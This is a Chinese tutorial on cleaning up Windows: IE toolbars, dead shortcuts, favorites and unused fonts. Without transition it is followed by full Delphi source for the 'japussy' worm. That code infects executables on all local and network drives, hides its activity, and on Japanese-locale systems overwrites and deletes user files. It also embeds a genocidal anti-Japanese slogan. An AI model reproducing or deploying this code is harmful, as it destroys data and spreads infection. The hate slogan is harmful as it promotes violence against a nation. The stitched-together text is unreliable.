實(shí)際上我們可以用上網(wǎng)助手來(lái)完成這個(gè)操作。啟動(dòng)IE瀏覽器,然后單擊地址欄下面的“上網(wǎng)助手→修復(fù)IE→恢復(fù)IE外觀”,要想清理IE工具條,我們只要在窗口中選擇“清理IE工具條”選項(xiàng)卡,即可打開(kāi)新的窗口,中間的列表顯示了IE工具欄條中可以不加載的項(xiàng)。只需要點(diǎn)擊每項(xiàng)前面的復(fù)選框,然后點(diǎn)擊“立即清除”。重新打開(kāi)一個(gè)IE窗口,可以看到該工具條沒(méi)有被加載。
經(jīng)過(guò)上述的清理,相信您的IE一定清爽了許多,而且由于卸掉了一些包袱,輕裝上陣,IE的啟動(dòng)速度也快了不少吧!
三、刪除無(wú)效的快捷方式
大家都知道,不管是Windows 9x/Me還是加了SP1補(bǔ)丁的Windows XP,用得時(shí)間長(zhǎng)了,系統(tǒng)中的各種垃圾文件和垃圾信息就會(huì)越來(lái)越多。而在Windows中還有一種不太為人所知的垃圾,那就是失效的快捷方式,比如已經(jīng)修改了某個(gè)軟件(或文件)所在的文件夾,但其快捷方式依然指向原來(lái)的位置,或者已經(jīng)卸載了軟件或刪除了文件,但相應(yīng)快捷方式卻仍留在“開(kāi)始→程序”、“開(kāi)始→文檔”、“C:Progeam Files”等處,Windows用得越久,這些垃圾快捷方式越多,Windows也就會(huì)變得越來(lái)越臃腫,運(yùn)行效率當(dāng)然也越來(lái)越低了。這時(shí)候,你可以使用Windows優(yōu)化大師進(jìn)行清理,或使用OrphansRemover這款免費(fèi)軟件(下載地址:http://www.digiarch.org/download/orphansremover.zip)來(lái)查找并清除它們。
下載并安裝后,運(yùn)行OrphansRemover,在軟件窗口上方的“Select folders to shortcut orphans:”和“l(fā)nclude shortcuts with broken links to:”項(xiàng)下選擇要掃描的文件夾及連接到移動(dòng)存儲(chǔ)器、光盤(pán)等上的無(wú)效快捷方式。而“User defined search folder”文本框中則允許你指定文件夾。最后單擊窗口下方的“Start scan”按鈕開(kāi)始掃描,完成掃描后單擊“Delete orphans”按鈕刪除無(wú)效快捷方式即可。
另外,OrphansRemover這款軟件還支持命令行參數(shù),比如“ D:program filesorphansremover orphansremover.exe recent startmenu-silent”可以清理“文檔”、“開(kāi)始”菜單中的無(wú)效快捷方式,其中“recent”為“文檔”、“startmenu”為“開(kāi)始”菜單,而“-silent”表示后臺(tái)安靜執(zhí)行。其它參數(shù)請(qǐng)參考OrphansRemover安裝文件夾manual.html文件的相關(guān)說(shuō)明。
四、清理IE收藏夾
在網(wǎng)上沖浪時(shí),許多網(wǎng)站因?yàn)橐粫r(shí)之需而收藏,但因?yàn)樾枨蟮慕Y(jié)束而無(wú)用;還有一些網(wǎng)站,因?yàn)檫@樣或那樣的原因而關(guān)閉了,另外還有一些網(wǎng)站,在你訪問(wèn)它的時(shí)候,它會(huì)自動(dòng)添加進(jìn)你的收藏夾……,上網(wǎng)時(shí)間久了,收藏夾可是越來(lái)越龐大了。如何快速地知道哪些網(wǎng)站地址已經(jīng)失效,并刪除這些無(wú)效的網(wǎng)址呢?如果采取以往的逐個(gè)鏈接去檢測(cè)、清理的方法,肯定是費(fèi)時(shí)費(fèi)力,有沒(méi)有更好的辦法呢?這時(shí)免費(fèi)的AM-Deadlink軟件就派上了用場(chǎng),它能滿(mǎn)足您的需求。
安裝并運(yùn)行該軟件,在出現(xiàn)主窗口的同時(shí)會(huì)彈出語(yǔ)言選擇窗口,在下拉菜單中選擇“Chinese_gb”后軟件界面變?yōu)楹?jiǎn)體中文,接著按F9鍵軟件開(kāi)始對(duì)收藏夾中的網(wǎng)址進(jìn)行校驗(yàn),建議按下工具欄上倒數(shù)第二個(gè)圖標(biāo),這樣在收藏夾列表窗口下方會(huì)出現(xiàn)瀏覽窗口,雙擊上面的網(wǎng)址可在此窗口中打開(kāi)網(wǎng)頁(yè),便于進(jìn)一步的查看。
對(duì)于網(wǎng)址不存在的,AM-Deadlink會(huì)在“狀態(tài)”欄中顯示“文件沒(méi)有發(fā)現(xiàn)”,這時(shí)先不要點(diǎn)擊“收藏夾→刪除”,因?yàn)楹芸赡苁悄闼詹氐木W(wǎng)址是該網(wǎng)站中某個(gè)已經(jīng)刪除的頁(yè)面,而實(shí)際上這個(gè)網(wǎng)站依然存在,所以請(qǐng)?jiān)谙路降臑g覽窗口中單擊右側(cè)的錘子圖標(biāo)按鈕,在出現(xiàn)的菜單中選擇“提高一級(jí)”看看是否會(huì)出現(xiàn)網(wǎng)站首頁(yè),如果發(fā)現(xiàn)首頁(yè)沒(méi)有問(wèn)題,可繼續(xù)選擇“以打開(kāi)的URL地址替換書(shū)簽內(nèi)URL”,重新設(shè)置網(wǎng)址。如果“提高一級(jí)”也不行的話,不用著急,可再選擇此菜單中的“搜尋Google”,AM-Deadlink會(huì)用網(wǎng)站的名稱(chēng)在Google中搜尋(經(jīng)測(cè)試發(fā)現(xiàn)對(duì)中文支持不好),讓你有機(jī)會(huì)找到網(wǎng)站的新網(wǎng)址。
另外,目前不少網(wǎng)站提供了個(gè)性化的收藏夾圖標(biāo),如果你發(fā)現(xiàn)自己的收藏夾網(wǎng)址前面沒(méi)有任何圖標(biāo),可以按下“Favlcons→檢查書(shū)簽并下載收藏夾圖標(biāo)”,它可以幫助您解決。同時(shí)AM-Deadlink軟件還具有備份收藏夾功能,它支持將收藏夾備份為ZIP文件,只需點(diǎn)擊“備份→Internet Explorer收藏夾(ZIP文件)”即可。
軟件名稱(chēng):AM-Deadlink、軟件版本:2.01、軟件大小:779KB、軟件性質(zhì):免費(fèi)軟件、適用平臺(tái):Windows 9x/Me/NT/2000/XP、下載地址:http://www.onlinedown.net/soft/24238.htm
五、清理無(wú)用字體
1、刪除無(wú)用字體
在文檔處理或美術(shù)設(shè)計(jì)的過(guò)程中,為了達(dá)到美觀或其它的要求,我們可能需要安裝并使用一些非系統(tǒng)自帶的各種特殊的字體。久而久之,系統(tǒng)里究竟安裝了多少種字體恐怕連自己也不太清楚了。實(shí)際上字體超過(guò)500種時(shí),就會(huì)出現(xiàn)問(wèn)題,比如:字體從應(yīng)用程序的字體列表中消失以及Windows的啟動(dòng)速度大幅下降。顯而易見(jiàn),過(guò)多的字體不僅占用較多的系統(tǒng)資源,還會(huì)影響到Windows的整體表現(xiàn)。為了提升系統(tǒng)性能,建議您最好將用不到或者不常用的字體刪除。
要想刪除無(wú)用或不常用的字體,就要知道哪些字體不能刪除。首先宋體不能刪除,它是系統(tǒng)默認(rèn)的中文字體;屏幕字體文件(擴(kuò)展名為.FON)不能隨意刪除,否則一些對(duì)話框中的文字會(huì)變成亂碼,甚至?xí)?dǎo)致Windows 98/Me無(wú)法啟動(dòng);“.SYS”為系統(tǒng)字體,在系統(tǒng)提示信息和圖標(biāo)描述性文字中要用到這些字體,刪除后可能會(huì)導(dǎo)致系統(tǒng)崩潰;還有一些符號(hào),如Marlett、Windings等字體,也不能隨意刪除。而且?guī)в羞@些文字的字體不要?jiǎng)h除:Arial、Courier、MS Serif、Tahoma、Verdana、Comic Sans、MS Sans Serif、Symbol、Time New Roman、Impact、Lucida Console、Marlett、Modem、Samall Fonts、Webdings、Windings、Roman、MS-DOS CP437、script、SIMHEI、SimSun&NSimSun、Palatino、Linotype、Microsoft、MS。
另外,Windows中安裝了不少相似字體,在許多情況下是不必要而且?guī)缀醪豢赡苋加玫降?,因此可以將相似的字體找出來(lái),保留幾個(gè)最常用的,其他的都可以利用下面的方法移走。
為了避免錯(cuò)刪字體而導(dǎo)致的系統(tǒng)故障,值得推薦的方法是把字體移出“FONTS”文件夾,集中保存在另外的目錄,比如“D:fontsback”中。同時(shí)要為該文件創(chuàng)建一個(gè)快捷方式,并將其放在“開(kāi)始”菜單或“快速啟動(dòng)”欄上。當(dāng)使用這些字體時(shí),只需打開(kāi)該文件夾,然后雙擊某個(gè)字體讓其顯示在預(yù)覽窗口,只要預(yù)覽窗口一打開(kāi),字體就裝載至內(nèi)存,而且在任何應(yīng)用程序的“字體”菜單中都能看到。用戶(hù)可以使用這種方式載入多種字體,等使用完這些字體后,只要關(guān)閉預(yù)覽窗口即可。
2、用Font Frenzy清理無(wú)用字體
Font Frenzy是一款免費(fèi)注冊(cè)的字體工具,可以列表查看當(dāng)前系統(tǒng)所安裝的所有字體,具有安裝和刪除字體的功能,也可以從系統(tǒng)字體目錄移動(dòng)不使用的字體到指定文件夾,并能制作一個(gè)字體鏡像文件,以便以后使用該鏡像文件恢復(fù)到系統(tǒng)以前所安裝的那些字體配置。 如果想刪除所有Windows安裝后新增的字體,請(qǐng)先關(guān)閉所有正在運(yùn)行的程序,單擊工具欄上的“Defrenzy”按鈕,接著單擊左側(cè)窗格中的“Defrenzy Now”按鈕,此時(shí)會(huì)彈出提示備份的對(duì)話框,單擊“是”按鈕后彈出保存?zhèn)浞莸奈募A選擇,直接使用默認(rèn)文件夾,按下“OK”按鈕,這時(shí)會(huì)彈出備份快照名稱(chēng)輸入窗口,輸入易記憶的名稱(chēng)并單擊“OK”按鈕,軟件會(huì)很快地把字體移動(dòng)到備份文件夾中。如果出現(xiàn)了問(wèn)題,可直接單擊“ReFrenzy”按鈕,然后選擇之前的備份快照進(jìn)行恢復(fù)。
當(dāng)然,你也可以采取手動(dòng)的方法進(jìn)行字體移除。首先單擊工具欄上的“FrenzySnap”按鈕,接著單擊“Save Snapshot”按鈕保存一個(gè)快照,接著單擊工具欄上的“FrenzyMan”按鈕,在字體列表中勾選不需要的字體(特別是那些安裝Office之后的中文字體),然后在左側(cè)窗格中選擇“Uninstall & Store Fonts:”,單擊“Select”按鈕后這些字體便會(huì)從Windows的Fonts文件夾中移動(dòng)到Font Frenzy默認(rèn)的字體保存文件夾中。怎么樣?有了Font Frenzy這個(gè)好助手,你再也不會(huì)為字體問(wèn)題而擔(dān)憂(yōu)了吧!
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;??????????????? //病毒體的大小
iconoffset = $12eb8;????????????? //pe文件主圖標(biāo)的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量
??
{
headersize = 38912;??????????????? //upx壓縮過(guò)病毒體的大小
iconoffset = $92bc;??????????????? //upx壓縮過(guò)pe文件主圖標(biāo)的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize????? = $2e8;??????????????? //pe文件主圖標(biāo)的大小--744字節(jié)
icontail????? = iconoffset + iconsize; //pe文件主圖標(biāo)的尾部
id????????? = $44444444;??????????? //感染標(biāo)記
//垃圾碼,以備寫(xiě)入
catchword = 'if a race need to be killed out, it must be yamato. ' +
?????????? 'if a country need to be destroyed, it must be japan! ' +
?????????? '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數(shù)聲明
var
tmpfile: string;
si:??????? startupinfo;
pi:??????? process_information;
isjap:????? boolean = false; //日文操作系統(tǒng)標(biāo)記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
???? exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
???? result := true;
end;
{ 在流之間復(fù)制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來(lái),以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
???? sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
???? try
?????? dstream := tfilestream.create(filename, fmcreate);
?????? try
?????? sstream.seek(headersize, 0); //跳過(guò)頭部的病毒部分
?????? dstream.copyfrom(sstream, sstream.size - headersize);
?????? finally
?????? dstream.free;
?????? end;
???? finally
?????? sstream.free;
???? end;
except
end;
end;
{ 填充startupinfo結(jié)構(gòu) }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發(fā)帶毒郵件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯(cuò)則文件正在被使用,退出
???? if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
?????? exit;
???? infected := false;
???? ispe????? := false;
???? srcstream := tfilestream.create(filename, fmopenread);
???? try
?????? for i := 0 to $108 do //檢查pe文件頭
?????? begin
?????? srcstream.seek(i, sofrombeginning);
?????? srcstream.read(buf, 2);
?????? if (buf[0] = #80) and (buf[1] = #69) then //pe標(biāo)記
?????? begin
???????? ispe := true; //是pe文件
???????? break;
?????? end;
?????? end;
?????? srcstream.seek(-4, sofromend); //檢查感染標(biāo)記
?????? srcstream.read(iid, 4);
?????? if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
?????? infected := true;
???? finally
?????? srcstream.free;
???? end;
???? if infected or (not ispe) then //如果感染過(guò)了或不是pe文件則退出
?????? exit;
???? icostream := tmemorystream.create;
???? dststream := tmemorystream.create;
???? try
?????? aicon := ticon.create;
?????? try
?????? //得到被感染文件的主圖標(biāo)(744字節(jié)),存入流
?????? aicon.releasehandle;
?????? aicon.handle := extracticon(hinstance, pchar(filename), 0);
?????? aicon.savetostream(icostream);
?????? finally
?????? aicon.free;
?????? end;
?????? srcstream := tfilestream.create(filename, fmopenread);
?????? //頭文件
?????? hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
?????? try
?????? //寫(xiě)入病毒體主圖標(biāo)之前的數(shù)據(jù)
?????? copystream(hdrstream, 0, dststream, 0, iconoffset);
?????? //寫(xiě)入目前程序的主圖標(biāo)
?????? copystream(icostream, 22, dststream, iconoffset, iconsize);
?????? //寫(xiě)入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)
?????? copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
?????? //寫(xiě)入宿主程序
?????? copystream(srcstream, 0, dststream, headersize, srcstream.size);
?????? //寫(xiě)入已感染的標(biāo)記
?????? dststream.seek(0, 2);
?????? iid := $44444444;
?????? dststream.write(iid, 4);
?????? finally
?????? hdrstream.free;
?????? end;
???? finally
?????? srcstream.free;
?????? icostream.free;
?????? dststream.savetofile(filename); //替換宿主文件
?????? dststream.free;
???? end;
except;
end;
end;
{ 將目標(biāo)文件寫(xiě)入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
???? setfileattributes(pchar(filename), 0); //去掉只讀屬性
???? filehandle := fileopen(filename, fmopenwrite); //打開(kāi)文件
???? try
?????? size := getfilesize(filehandle, nil); //文件大小
?????? i := 0;
?????? randomize;
?????? max := random(15); //寫(xiě)入垃圾碼的隨機(jī)次數(shù)
?????? if max < 5 then
?????? max := 5;
?????? mass := size div max; //每個(gè)間隔塊的大小
?????? len := length(catchword);
?????? while i < max do
?????? begin
?????? fileseek(filehandle, i * mass, 0); //定位
?????? //寫(xiě)入垃圾碼,將文件徹底破壞掉
?????? filewrite(filehandle, catchword, len);
?????? inc(i);
?????? end;
???? finally
?????? fileclose(filehandle); //關(guān)閉文件
???? end;
???? deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫(xiě)的驅(qū)動(dòng)器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個(gè)字母
begin
???? d := chr(i + 65);
???? str := d + ':\';
???? disktype := getdrivetype(pchar(str));
???? //得到本地磁盤(pán)和網(wǎng)絡(luò)盤(pán)
???? if (disktype = drive_fixed) or (disktype = drive_remote) then
?????? result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
???? if (searchrec.attr <> 16) and (searchrec.name <> '.') and
?????? (searchrec.name <> '..') then
?????? result := 0 //不是目錄
???? else if (searchrec.attr = 16) and (searchrec.name <> '.') and
?????? (searchrec.name <> '..') then
?????? result := 1 //不是根目錄
???? else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
???? repeat
?????? peekmessage(msg, 0, 0, 0, pm_remove); //調(diào)整消息隊(duì)列,避免引起懷疑
?????? if isvaliddir(searchrec) = 0 then
?????? begin
?????? fn := path + searchrec.name;
?????? ext := uppercase(extractfileext(fn));
?????? if (ext = '.exe') or (ext = '.scr') then
?????? begin
???????? infectonefile(fn); //感染可執(zhí)行文件?????
?????? end
?????? else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
?????? begin
???????? //感染html和asp文件,將base64編碼后的病毒寫(xiě)入
???????? //感染瀏覽此網(wǎng)頁(yè)的所有用戶(hù)
???????? //哪位大兄弟愿意完成之?
?????? end
?????? else if ext = '.wab' then //outlook地址簿文件
?????? begin
???????? //獲取outlook郵件地址
?????? end
?????? else if ext = '.adc' then //foxmail地址自動(dòng)完成文件
?????? begin
???????? //獲取foxmail郵件地址
?????? end
?????? else if ext = 'ind' then //foxmail地址簿文件
?????? begin
???????? //獲取foxmail郵件地址
?????? end
?????? else
?????? begin
???????? if isjap then //是倭文操作系統(tǒng)
???????? begin
?????????? if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
?????????? (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
?????????? (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
?????????? (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
?????????? (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
?????????? (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
???????????? smashfile(fn); //摧毀文件
???????? end;
?????? end;
?????? end;
?????? //感染或刪除一個(gè)文件后睡眠200毫秒,避免cpu占用率過(guò)高引起懷疑
?????? sleep(200);
???? until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
???? repeat
?????? if isvaliddir(searchrec) = 1 then
?????? subdir.add(searchrec.name);
???? until (findnext(searchrec) <> 0);
???? end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
???? loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤(pán)上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統(tǒng)
???? isjap := true; //去死吧!
driverlist := getdrives; //得到可寫(xiě)的磁盤(pán)列表
len := length(driverlist);
while true do //死循環(huán)
begin
???? for i := len downto 1 do //遍歷每個(gè)磁盤(pán)驅(qū)動(dòng)器
?????? loopfiles(driverlist + ':\', '*.*'); //感染之
???? sendmail; //發(fā)帶毒郵件
???? sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開(kāi)始 }
begin
if iswin9x then //是win9x
???? registerserviceprocess(getcurrentprocessid, 1) //注冊(cè)為服務(wù)進(jìn)程
else //winnt
begin
???? //遠(yuǎn)程線程映射到explorer進(jìn)程
???? //哪位兄臺(tái)愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
???? infectfiles //感染和發(fā)郵件
else //已寄生于宿主程序上了,開(kāi)始工作
begin
???? tmpfile := paramstr(0); //創(chuàng)建臨時(shí)文件
???? delete(tmpfile, length(tmpfile) - 4, 4);
???? tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個(gè)空格
???? extractfile(tmpfile); //分離之
???? fillstartupinfo(si, sw_showdefault);
???? createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
?????? 0, nil, '.', si, pi); //創(chuàng)建新進(jìn)程運(yùn)行之
???? infectfiles; //感染和發(fā)郵件
end;
end.
(完)